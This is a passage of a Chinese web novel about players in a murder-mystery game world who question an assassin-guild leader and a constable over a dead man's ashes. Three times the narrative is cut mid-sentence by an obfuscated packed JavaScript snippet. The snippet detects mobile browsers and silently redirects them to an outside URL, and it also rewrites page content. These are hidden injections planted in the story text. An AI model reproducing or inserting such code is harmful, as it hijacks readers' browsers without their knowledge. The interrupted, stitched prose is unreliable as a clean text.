男人冲她抛了个媚眼:“那可不,姐姐放心,兄弟们风格各异,不管喜欢什么样的都有~” 戴荆月仍扼着男人纤细的脖颈,脆弱得犹如一捏就碎的长颈花瓶:“你来这儿多久了?” 手上的力道有些重,男人齿间溢出难受的咿呀声,挣扎着回复:“我……我才来不久,是王姐捡我回来的。” 王姐? 几人下意识看向三三,三三是王阿婆的女儿,于情于理当然姓王,就连三三自己也下意识往前走了两步。 “你说的王姐是她吗?”张小妹嘴唇有些泛白,紧张地指了指前方的女人。 语音落下,众人的目光尽数落在三三身上。谁知男人只是瞥了她一眼,摇头摇得干净利落:“你以为王姐是这么好见的?” 戴荆月抓到了他话里漏洞,眼神一凛:“这么说来,你没见过她?” “当然见过!我都说是王姐带我回来的,只是自那之后就没见过了。” 踮着脚的男人双手抓着戴荆月的指尖,试着往外掰松一些喘了两口气,随后轻叹,“找王姐什么事?” 戴荆月倏地松开手,语气相当自然:“带我们去见她。” 男人:? “不是,王姐哪是你们想见就能见!再说你们好歹告诉我找她干嘛啊!”男人垂头嘀咕,揉了揉脖颈,“还扯得这么重,弄疼我了。” 这一处动静不小,从戴荆月抓住男人开始就有不少人在围观。但大多缩在后边偷偷张望,没敢上前,只有一道道或好奇或畏惧的目光落在他们身上。直到听到王姐,男人们终于有了点反应。 “王姐是我的救命恩人,要不是她我现在还在流浪街头!” “你们要找王姐干嘛?她平时可忙了,恐怕没空见你们。” “她是我见过世界上最帅的人,我从来没见过一个人可以这么玉树临风风度翩翩……” 书生不着痕迹地收回盯着男人脖颈的视线,又扫了一圈说话的男人们,声音温淡:“见不到王姐,就带我们去见能见到最大的管事。” 在玩家们的“严刑逼供”和同伴的凝望注视下,男人最终还是撅着一张小嘴,带着四人左绕右拐,来到了一个小单间前。他试探性问了句话,里边传出一道含糊的回应声,听不真切,难以辨明性别年龄。 戴荆月本还想再抓着人问两句,男人却早就闪没了影,来自远方的声音幽幽传来: “管事的在里边,你们自己去问吧,我先走了!” 张小妹狐疑地望着男人消失的方向,堪堪捕捉到那个仓皇的背影:“怎么总感觉有些落荒而逃的意味?” “不管里面是什么,先进去再说。”戴荆月头也没回,手掌径直掀开鲜艳的门帘。 甫一踏入,一股奇异的怪味直冲天灵盖,像是劣质香草料,又像动物排泄物,熏得人频频咳嗽。四人不约而同捂住了口鼻,准确锁定坐在铜镜后的那个身影。 梳妆台上摆满了瓶瓶罐罐,人端坐在那,像是在捣鼓什么脂粉。若是定睛细看,里面盛着的却是浓稠的墨质,似乎还有爬动着的异形虫子。 将小罐子扣上盖子,女人抬起头看了他们一眼:“来了?” 戴荆月警惕道:“什么意思?” 闻言,女人忍俊不禁:“不久前还在外边大张旗鼓想要找我,现在忘了?” “你是王姐!”张小妹惊呼出声,“那刚刚的人怎么说没怎么见过你?” 王姐的声音温淡低醇:“一些歪门邪道罢了,骗骗他们还是没问题的。” 戴荆月一点就通:“易容。” 王姐不吝赞赏:“聪明。” “说吧,找我什么事?”王姐看起来一副亲和的模样,可在场每个人都绷得很紧,包括围观得相当专注的奥若拉。 因为谁都看清了盘在她脖颈上的那条犀利吐信子的蛇。 时间不允许玩家们温水煮青蛙,戴荆月索性单刀直入:“这里发生了什么?” 问题没头没尾,但是王姐懂了。 她亲昵地蹭了蹭蛇光滑的皮肤,望向一边的三三:“我以为这个问题你会告诉她们。” 被点名的三三的后背顿时布满冷汗,一时间说不出话。 “看这个反应……让我猜猜,你是不是失忆了?” 失忆无疑是解答当下问题的最佳答案,三三将计就计:“我不太记得之前发生的事情了。” 王姐笑着点点头:“但你还记得这个地方,也不算完全失忆,不错。” 说着,她站起身,翻出一沓压在梳妆台台面的纸条:“我说你最近怎么没来了,这些任务都不知道派给谁。” 奥若拉借着魂魄的一米活动范围,刚好瞄清上边的字,是一桩桩刺杀委托,以血画押。 王姐也没避讳在场的其余人,直接给三三解释起来:“这里是个接头点,固定时间领任务,外边那些你可以理解为幌子。” “不知道你还记得些什么,两年前?一年前?还是全都忘了?” 观察到三三茫然失措的表情,王姐自问自答:“估计是全忘了,那我简单同你讲讲。” “看见墙壁上那些黑渍了吗?三年前,我被卖到这,为了逃出去一把火给这儿烧了。哦对,是咱们一起烧的。” 三三被骗进来之后,遇见了王姐。某天晚上,两个女人相互依偎着,裹紧身上那层薄薄的衣服,靠在一起浅眠。 突然间,王姐冷不丁问她:“想不想出去?” “怎么出去?”三三半梦半醒,有气无力道。 王姐勾了勾嘴角,气息扑在她颈侧:“把这儿毁了。” 后来某个深夜,窑子真的烧起来了。火舌噼啪作响,燃红半片黑天。奇怪的是,里面的女孩们全都凭空消失,就像随着火熄而复归大地的尘埃。 “姐妹们跑了个七七八八,本来我也打算跑的。” 王姐轻轻挠着缠在臂间的小蛇,“可惜我突然不想跑了。比起逃跑,我更喜欢睚眦必报。凭什么我烂在这里,那些人却能锦衣玉食地活着,凭什么?” 火灾之后,一场惨案名动全城。 当时有钱有势的王家,父兄全都横死。与此同时,一个专接生死活的刺客组织横空出世。三三也再没回过家,手上沾过血的人回不去了。况且她需要钱,而奉命杀人,有钱拿。 不敢回家,她就只敢悄悄地偷看。把攒下的银钱都换成药,深夜撬窗喂进王阿婆嘴里,直到阿婆的身子慢慢好起来。 至于屋外的那些男人。 小蛇刺溜一下窜到王姐的胳膊上,王姐虚拢住小蛇的身子:“杀了太多人,行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716030|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善积德一下,我给了他们一个活下去的地方,有何不可?为什么不让他们成为刺客嘛……我的地方我做主。” 将所有事情串联起来,戴荆月只想到一件事,王阿婆真的不知道自己女儿去哪了吗。即便是病重,深夜里的母亲难道真的感知不到自己的孩子吗?唯一的可能是,她知道自己的孩子有苦衷回不来。 所以她才一直卧病在床,才会反复说自己没好利索。 “怎么样,故事听得差不多了吧?”王姐扭了扭脖子,“知道我为什么让你们一起听吗?” 一股寒意窜上脊背。果不其然,王姐笑着看向他们:“因为我没想着让你们离开这里。” “不过考虑到你们是三三的朋友,我也不好赶尽杀绝。这样吧,答对我的字谜就能活着离开。” 话音落下,王姐慢悠悠指向门帘上方,那里题着一句话,字迹翩若惊鸿: 衔一明月环,彻照来时路。 “很简单的问题,打一物。” 戴荆月的大脑飞速运转,几乎瞬间看向了那条始终围绕着王姐盘旋的蛇。 “是蛇。”她抬起头,直视王姐。 王姐丝毫不讶异对方能够立刻猜出来,她笑眯眯颔首:“真聪明。” 张小妹弱声问:“这样我们就能走了吗?” 王姐没答反问:“知道为什么是蛇吗?” 三三琢磨着开口:“蛇善蛰伏,你借着纵火,为所有人策划了一场新生。” “这话说得我爱听。”王姐乐了,“可惜我不是这么光鲜亮丽的人。” 这时,戴荆月突然仰起头:“蛇是冷血动物。” 王姐“啧”了一声:“你这么说我的小蛇,它会难过的。”只不过她嘴上虽这么说,唇角却始终上扬。 “那场火灾,大家确实跑了个七七八八,知道剩下的人去哪里了吗?有人想告密,可惜被我杀了。明明我说了会想办法为大家谋生,怎么就是不信我呢?” “那人在死前说我阴险得就像毒蛇——”王姐顿了顿,脸上绽放出一个更灿烂的笑容,“我以为这是在夸我呢。” 所以,她告诉自己。 不要忘了来时路。 直到离开窑子,四人都还有些没有反应过来。寥寥数语里,他们窥见了一个灰重如墨的灵魂,而她最开始的想法,只是想逃出去。 午后的阳光泼洒下来,有气无力地照着这片土地,光线非但不能带来生机,反而将一切的丑陋都照得无处遁形,空气里弥漫着一股焦灼的味道。 “已经是最后一天了,咱们还差什么线索?”三三扳着手指,越数眉头越紧,“哎,要是能看一眼尸体就好了。” 话虽如此,可尸体早就灰飞烟灭,他们连个影儿都摸不到。谁知这时,一旁沉默的书生却缓缓转向另一个方向:“那我们就去看尸体。” 正午刚过,原本才离开不久的四个人,竟齐刷刷回到了牢门前。光影斜落,如愿看到了那个立在牢门外的身影。 戴荆月主动上前一步,站在对方跟前:“黄南的尸体在哪?” “呵。”那人冷笑一声,“你们昏了头?不如想想怎么减罪。” 戴荆月语速平稳,步步紧逼:“尸体真的被烧了吗?还是说被你亲手藏起来了?捕头大人?” 天光晃眼,一片死寂中,那位在第一日曾出现过的捕头正面无表情注视着他们。 22. 密林旧事(14) 张小妹三步并两步想冲上去抓住对方,可惜来得及只碰到宽大的衣袖,捕头便擦着她的手指尖闪到另一侧。 那道醇厚的声音依旧威严庄重:“你们这是越狱。” 三三啼笑皆非盯着面前的人:“这都不是第一天了,还装什么呢?要真想死死看守,至于大门破成那样?何况我们只是想找一个真相,黄南的尸体是不是真的被烧了。” 早在最开始,玩家们就被告知尸体已经不在了。因此他们无从验尸,只能一处一处地发掘勘探。 直到第一次上山,戴荆月看向当时还尚未离开的奥若拉:“尸体被烧这件事是谁告诉你的?” 奥若拉敛眉思索一阵:“我被带回来的路上就问了捕快,是她告诉我尸体被黄南的家人要求烧的。”只不过还没来得及细究,玩家们就深陷安神山,之后更是无暇顾及。 尽管如此,这件事始终如同悬在戴荆月头顶的达摩克里斯之剑,不知何时就会堕下。尤其是调查到现在,他们从未触发和黄南家人相关的剧情,唯一有可能沾的上边或许仅有面前这位同样姓黄的捕头。 黄捕头冷漠睨着几人:“恐怕要让你们失望了,他的尸体早就按要求处理了。” 戴荆月丝毫不怵,她尝试温和着语气出声:“那骨灰埋在哪?我们能去看看吗?” “骨灰被他家人带走了。”黄捕头拒绝。 三三按捺不住脾气,两道眉压得极低,怒气冲冲:“这也不行那也不行,尸体就是被你带走藏起来了吧!” 书生微一抬手,作了个收的手势:“你想找到杀他的凶手,所以你不给我们看。但是我们也想找到凶手,所以我们并不冲突,不是吗?你们都姓黄,难道只是偶然?” 温柔谈判不是戴荆月的领域,她乐得轻松抱胸站在一旁充当气氛组。 奈何他们低估了黄捕头的心理素质,高估了己方的威胁性。不论是刚是柔,她都只是一味摇头,全然一副公事公办的态度。 见状,三三有些疑虑了:“莫非真的和她没关系……我们是不是找错方向了?” 话音刚落,她就收到了警告: 【叮咚!检测到玩家违反“果断的三三”这一人设,扣除一次机会哦】 于是三三瞬间噤声,木着一张脸立在一旁,不再质疑。 同时,戴荆月也果断表明态度:“如果真的和她无关,她会这么安稳地在这和我们聊天?”恐怕早就因为某些原因离开,甚至玩家们很可能在这里根本遇不上黄捕头。 玩到现在,戴荆月已然深谙攻略之理:游戏里没有白走的路,每一个npc都算数。 对此,书生和张小妹秉持同样的看法。黄捕头作为一名贯穿首尾的可疑人员,身上必然凝结着和黄南解不开的纠缠。 既然她不愿意说,那就别怪他们心狠。接收到戴荆月示意的眼神,张小妹倏然化作猎犬,后腿蹬地往前重重一扑! 黄捕头还没来得及反抗,就看见一团黑影朝自己凶猛发射而来,直冲面门,撞得她连连向后…… 等等。 身子确实遭受撞击,然而并非攻击,而是扑了她一个满怀。她下意识接住,诧异低下头,望着这只在自己怀里拱来拱去、蹭来蹭去的小狗,满头雾水。 居然不是来攻击她的? 黄捕头对于大变活狗一事没有丝毫疑惑。她直直立在那儿,感受着毛绒绒的触感,与那双黑溜溜的小眼睛对视,最后不可控制地举起自己的右手,一把呼噜了起来。 小狗很卖力地摇头摆尾,乖巧靠在黄捕头的怀抱里,用脑袋一下一下轻点着对方的身子。反观之前冷若冰霜的黄捕头此时笑魇如花,修长的五指埋进松软的毛发里来回揉搓,嘴里还不时发出“嘬嘬”声。 三三一脸茫然看向戴荆月:“这是……” 后者气定神闲:“提前制定的战术,目的是将兽化效果发挥到最大限度。” ——狗狗是人类忠诚的伙伴,从古至今,一直都是。 不知撸了多久,黄捕头终于心满意足地抬起脸,脸上的棱角也软和下来:“黄南和我有关系,但是他的尸体也确实烧没了。” 书生追问:“您和他是什么关系?” 黄捕头喟叹道:“他是我表弟。” 众人脸上纷纷露出惊异之色。纵使对二人的关系早有预料,但一个除恶扬善,一个为非作歹的鲜明对比还是带来不小的冲击。 三三试探着开口:“你……难过吗?” 黄捕头笑了:“难过?没什么好难过的,命由天定,他又不思进取,旁人难过有何用?” “那他的尸体是您想烧的,还是你们的其他家人?” 黄捕头蹲下身子,将小狗放回地上,一边揉着狗脑袋,一边慢条斯理回答书生的问题:“是我,我是他在世界上唯一的亲人了。” 话罢,她的眼眶亮晶晶的,似乎有些湿润。察觉到这份情绪,张小妹忍不住又主动蹭了蹭她的掌心。 “为什么?”这次说话的是戴荆月,女生撩起薄薄的眼皮,其下的一双乌眸炯炯有神。 黄捕头语气轻松:“人死了,世间的因果也就断了,复归大地是最好的结局,不是吗?” 戴荆月不信这副说辞,可她没有读心术,判断不出对方话里真假。属于自己的那股不知名预知力量又时隐时现,暂时还没能得到很好控制。 她尝试释放精神力去感知,传回大脑的却只有一片乌黑。无奈之下,只好先顺从点头。 “你们想去看看他吗?”黄捕头直起身,手按在腰间的佩刀上,“我把他的骨灰埋在那里。” 几人异口同声:“想!” 跟着黄捕头的身后,玩家们边走边挤眉弄眼,传递着信息。 早已化回人形的张小妹眨着右眼:她应该不会陷害我们吧? 三三迟疑着摇头:应该不会,她都那么喜欢你了。 戴荆月揉了揉太阳穴:没关系,再不济就是一通打。 书生勾唇一笑:未尝不可,没说不能殴打npc。 走在前头的黄捕头:“你们别在后边磨磨蹭蹭。” “哦!” 走在路上时,戴荆月又不信邪地尝试建立感知联系。这一次,传回来的终于不是乌漆麻黑,而是一团虚影。 她在神海里走进虚影,想要看得更加真切,却感知了一股酒气,是酒铺月下酿的味道。酒气之下还混合着幽幽血腥气,颇有些渗人。 下一刻,虚影里却突然探出了一只手,瘦削得像蒙着一层干枯人皮,手指微张,似乎在空中抓着什么。随着手的探出,越来越多的身体部位从虚影里显现出来,直到那张苍白的脸在戴荆月眼前暴露无遗——是黄南。 她猛然从中回神,急促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725103|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地喘了两下气,右手边书生敏锐侧头,关切道:“怎么了?” 她捏了捏指节:“没事,只是觉得有些不对劲。” “哪方面的不对劲?”书生话里带上几分警惕。 戴荆月回忆着自己感知到的画面,凭借直觉开口:“黄南很可能……会诈尸。” 交谈间,领头的黄捕头停在了山间老树下。虫鸣窸窣,风穿林响,她指着一块压着土面的深色石头,道:“就在这儿。” 捕头深呼一口气:“山清秀美,在此长眠挺好的。” 张小妹鼻尖嗅了嗅:“土里确实有股焦味。” 戴荆月先是扫了几眼周围,再眺望远山淡影:“这里离他死亡的地方远吗?” “几里山路,算不上远。”黄捕头“啧”了一声,“我和他很久没联系了,没想到再次见面,竟然是生死两隔。” 书生抓着她话里的重点:“你们平时没有联系?” 女人摇头,眼角皱起细纹:“长辈走后,我们小辈之间就断了联系,我过我的、他玩他的。” 书生若有所思,还想再说些什么,身边却传出哼哧哼哧的挖土声。定睛一看,剩下的三人居然在徒手刨地。 以幽魂状态围观的奥若拉小声嘀咕:“这是干嘛呢,想鞭尸吗?” 如果戴荆月听得见这句话,那她一定会挑眉点头:“差不多。” 俗话道,活要见人死要见尸。就算是一坛骨灰,他们也得亲眼见到。当下没有称手的工具,几人拾着树枝石头就刨来起来。一抔抔黄土被掀到边上,地上的坑逐渐成型,潮湿的土味越来越重,散发着腥气。 黄捕头没拦他们,一言不发地看着玩家们刨坑。终于,一个小陶坛隐约露出一角。三三眼中一亮:“有了!” 玩家们手上的动作不由得加快速度,骨灰坛也显现大半。三三的双手早已糊满泥,此时也不嫌坛子脏,直接抓着它稳稳抱了出来。 “开吗?” “开。” 沉闷的碰撞声响起,坛盖被小心翼翼掀开。四个脑袋凑在一起,八只眼睛牢牢盯着黑黢黢的内部。圆坛子里堆着灰白色的固体粉末,散着几块没烧尽的骨头,不知来自身体的哪个部位。 生有七尺之形,死惟一坛之土。 “我还有事,准备走了。”黄捕头倏地开口,声音淡淡如陌生人,似乎对众人挖了弟弟的“坟”毫无芥蒂,说完她便抬腿下山。 与此同时,黄捕头离开截然相反的方向上又出现另一个影。身材瘦小干巴,浑身是伤,面目狰狞。 张小妹低呼:“黄南!” 玩家们不知道站在这儿的黄南是人是鬼是实是虚,他只是靠着一棵树,发现玩家们看过来后,转身便往山里走去。 最重要的npc突然出现,可另一边黄捕头身上明显还有线索没有问完。 追谁?黄捕头,还是黄南? “我们分头行动!”戴荆月当机立断,“两个人去追捕头,两个人去追黄南!” 说着,她拔腿便朝黄捕头的方向追去,书生顿了顿,紧随其后。余下抱着骨灰坛的三三和张小妹对视一眼,毅然跟着黄南往深山里走去。 四人小队瞬间被拆散,两对人马向着迥异的方向狂奔,追逐的影子被斜射的光线拉得绵长。 太阳西移,留给他们的最后一个下午悄无声息来了。 23. 密林旧事(15) 循着黄捕头的方向,戴荆月和书生并肩奔跑。捕头仅仅是在快步行走,速度算不得快。可无数次他们探手想抓住对方,却又总是错开一指宽,连衣角都碰不到。 又一次扑空,戴荆月轻咬唇,蹬腿腾空而起,向两侧伸展的双臂化作一对翅膀,在半空中径直起飞。 乌鸦扇动着翅膀,在喑哑的叫声里直直跃过前方的人,从天而降,拦在了黄捕头的前方。书生则极为配合地锁住捕头后面的路,与戴荆月前后夹击。 两侧是高耸入云的树,能够通行的只有这条粗糙的小山道。进退两难的黄捕头终于停在原地,阴沉着一张脸:“你们究竟想做什么?” 书生的声音从她的身后传来,有礼有节:“还有几个问题,劳烦您为我们解释一番。” 戴荆月附和着“嗯哼”,修长的体格蓄满力量,发丝凌乱搭在肩上,眼尾微微上挑。 “第一个问题,为什么把黄南的尸体烧了?” “第二个问题,你对他的死亡真的毫不知情吗?” “第三个问题……”书生短暂停顿,清嗓后接着道,“你是不是很恨他?” 站在捕头身后的书生眼前只有一个劲瘦的背影,看不见她的表情。但是戴荆月看得见,看得清清楚楚。 捕头年岁不浅,眼角面中雕琢着岁月的细纹,朝前的脖颈上爬着一小道疤,弯弯曲曲,似一只蛰伏的蜈蚣。 见到她的第一眼,戴荆月便觉得对方身上有股独特的气质。时间在她的身上留下了许多痕迹,一笔一划,沉淀成如今这番不露自威的模样。 大多数时候,黄捕头都颦着一张脸,掺杂着银发的头发盘在脑后,两鬓干净利落。但是现在,有什么情绪在她的眼中滚动,隐约闪着微光。 是哪句话触动了她,戴荆月琢磨不明白。反倒是自己,似乎不知不觉变了心态。 从前的她只是把这一切当作虚拟的游戏,只要退出终端,回到现实生活,一切都会如朝露般消散殆尽。就连踏入游戏世界的初衷,也谈不上多么光风霁月,不过是为稻粱谋的庸俗之愿。 是从哪一刻开始转变的呢?在酒铺里盛出第一碗酒?亲手捣碎那尊逃不出的塑像?在百兽的追逐下并肩奔逃?还是春风解冻觉醒能力的那一瞬…… 进入游戏以来的一幕幕浮光掠影般在脑中盘桓,她的睫毛颤了颤,微遮的眼瞳波光暗涌。 大概没有那么复杂。也许从触到林间清风的那一刻起,这便不再是她眼中那个娱乐至死的虚幻之境。 所以,她愿意等,等面前松动的人亲口说出一切。 山的另一头。 奥若拉缠在张小妹身边,跟着她们一起追“诈尸”的黄南。早在游戏有意无意将玩家们拆开时,奥若拉便不爽地抱怨: “本来可以一次性一起看的,这下还要时不时切换视角。” 玩家在观赏时,可以随时切换视角。由于前期大家都是一起行动,所以奥若拉单独锁定戴荆月也无妨。奈何现在兵分两路,眼见这边短暂陷入僵局,好奇宝宝奥若拉便果断切换到了【小张很嚣张】的视角。 同戴荆月、书生的进度差不多,这边的两个人也展开了一番“他逃她们追”的剧情。直到视角晃得奥若拉有点晕动态时,俩人可算包围住黄南。 被两人困住的黄南浑身狼狈,砸伤、刀伤、抓伤等等错综分布在身上,几乎看不出什么完好的皮肉,而他的口中空洞,徒留狰狞断裂的舌根。 三三咽了口唾沫,声音有些磕磕绊绊:“大白天的,还怪渗人嘞。” 张小妹出声安慰:“姐你别怕,这些伤都是你砍的。” 三三以及围观的奥若拉:…… 所幸黄南看起来没有再逃跑的意思,两人将他用藤蔓捆好后得以喘息休憩,然而他的目光死死锁定三三的方向,不知在看些什么。 后者起初悚然,但低头一看就想明白了:黄南盯着的不是她,而是她手中的骨灰坛。 “所以他会出现,也是因为手中的骨灰?”三三不由得将坛子抱得更紧。 张小妹认可:“大概率是的,骨灰可能对鬼很重要。至少也验证了一件事,这个骨灰真的是黄南的。” 三三试着往前走了一点,瘫坐在地上的黄南却双手双腿并用,朝后挣扎着退了两步。 “不对。”她皱起眉,“他好像并不是想拿回骨灰,他在害怕。” 反复试探后,三三和张小妹验证了这个推论,黄南真的在害怕自己的骨灰。分明是骨灰将他召唤出来,可现在他又避之不及。 “既然这样,不妨先验一下他身上的伤。” 站着说话不腰疼的奥若拉困得打了个哈欠:“折腾半天你俩可算切入正题了。先前找半天尸体都没影,可不得现在验尸么?” 鉴于黄南害怕骨灰,三三站得稍远,由张小妹先去观察。等对方看完,二人再交换位置。 黄南呆呆坐在地上,似乎失了神智。张小妹忍着内心的不适上前,从他的额头开始,目光依次掠过口、脖、腹,一路向下,神色愈发凝重。 几分钟后,张小妹轻声:“除了我们已知的那些伤口,他身上还有伤,像是动物抓伤。” “对,就是动物抓伤。”黄捕头缓缓出声,凝望着半空。 戴荆月习惯性揉捏着指关节,大脑努力吸收着消息:“意思是您见到他的时候,身上还有动物的抓伤?” 黄捕头颔首:“是啊,他当时浑身是伤,甚至还有中毒迹象。若是单一项还好救,汇在一起,任由神仙也救不了他。” “所以您是在王阿婆报案前就知道他上山了?”书生补充提问。 黄捕头含糊笑了一声:“你看看你俩轮流问,给我点喘气的时间。” 戴荆月循着话瞥了书生一眼,目光又落在他的小辫上,发质还挺好,也不知道用的什么品牌护理液。书生正好也抬眼看向她,轻轻眨了眨自己的左眼,漂亮风流的眼里漾着友好的笑意。 “行了,天也快黑了,我再给你俩讲点。” 黄捕头又开始讲了起来,而她愣愣收回视线,后知后觉—— 这人刚刚是不是朝自己做了个wink? 黄捕头虽说是讲,但其实也仅是告诉了他们一条讯息。即在王阿婆报案之前,她就知道黄南被赶出寺庙,进了林子。 捕头信佛,时不时会来听经,当然清楚自己的弟弟在这里寄人篱下。好巧不巧,住持和黄南爆发争吵时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725104|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她就在庙里边。但是她没拦没动,甚至没有分一个眼神出去。 早在很久以前,她就不在意这个表弟的死活,甚至恨不得诅咒对方早点遭受报应。黄南是她见过的最恶毒的人,欺娘辱姊、不学无术,从他诞世那日起,一切因果就在暗中沉淀,只待彻底爆发那日。 至于书生一早抛出去的问题,黄捕头笑着回应了第一个: “我不是说过了吗,因果既了,复归大地是最好的结局,这样也免得他受叨扰。” 同样的回答,戴荆月却好像在对方的话语里突然意识到为什么要这么做了。 如果这并非一场游戏,而是现实的古代世界,没有尸体、没有铁证,杀死黄南的凶手,真的还能找到吗? 这边有条不紊推进,另一端,验完伤的两个人纳闷:“为什么我们做了这么多,还是没有什么线索?” 拥有上帝视角、来回穿梭的奥若拉倒是可以回答这个问题。 并非没有线索,而是线索不在她们这边。 在张小妹指出动物抓伤后,黄捕头就冷不丁同戴荆月和书生讲起自己的所见所闻。而在三三对着黄南的伤试探着讨论关于住持的逻辑链时,捕头则分享了自己的相关经历。 由此可得,这一部分,基本上是一方开荒,一方坐享。如果没猜错的话,用不了多久,两方人马就有机会汇合共享线索。 推进算不上难,甚至可以说是游戏的奖励环节。可是这有一个大前提,玩家们必须剩下足够的数量,以及彼此之间不能内讧,否则未必会乐意分道扬镳。 奥若拉见过不少在游戏里大闹一场,最后破罐破摔直接摆烂的玩家。这次遇见的人倒是意外团结天真。 果不其然,没多久,天边的太阳吝啬地收回自己的最后一缕光,身处异地的两方人在熟悉的失重感漩涡里,回到了牢房。 这一次,是真真正正的四个幸存玩家,不再有属于住持和王阿婆的代表物。 一见到三三和张小妹,戴荆月便趁困意来袭前,迫不及待同和二人分享线索。 “黄捕头早就知道黄南和住持大吵一架,被赶了出去,因为当时她就在寺庙里……最后她说,她在黄南的身上发现了动物的抓痕。这些就是我们这边的发现,和你们的发现能对应上吗?” 一长串话,张小妹听得很认真,直到最后才摇头出声:“你说的基本就是我们从他身上验证到的,他的伤势符合此前我们的猜想,无法解决的就剩下动物抓伤的来源,以及住持和王阿婆这两环。” “你们说,今天晚上会经历什么?”书生忽然开口,“在场的所有人都已经回到过死亡当日,那么还剩下什么?” 戴荆月微翘起嘴角:“过会就知道了。” 闭上眼睛,放松身体,戴荆月在游戏的困意加持下顺利进入梦乡,不过这一次,好像有点吵—— “这是哪?”这是三三的声音。 “诶,三三姐也在这里呀!”音质偏青涩,是张小妹。 “我也在,看来大家可能一起过来了。”书生的声音一如既往恬淡如水。 戴荆月正准备吱个声,却听见书生声音没停,尾音有些轻,像是飘荡的羽毛:“月姐,你来了吗?”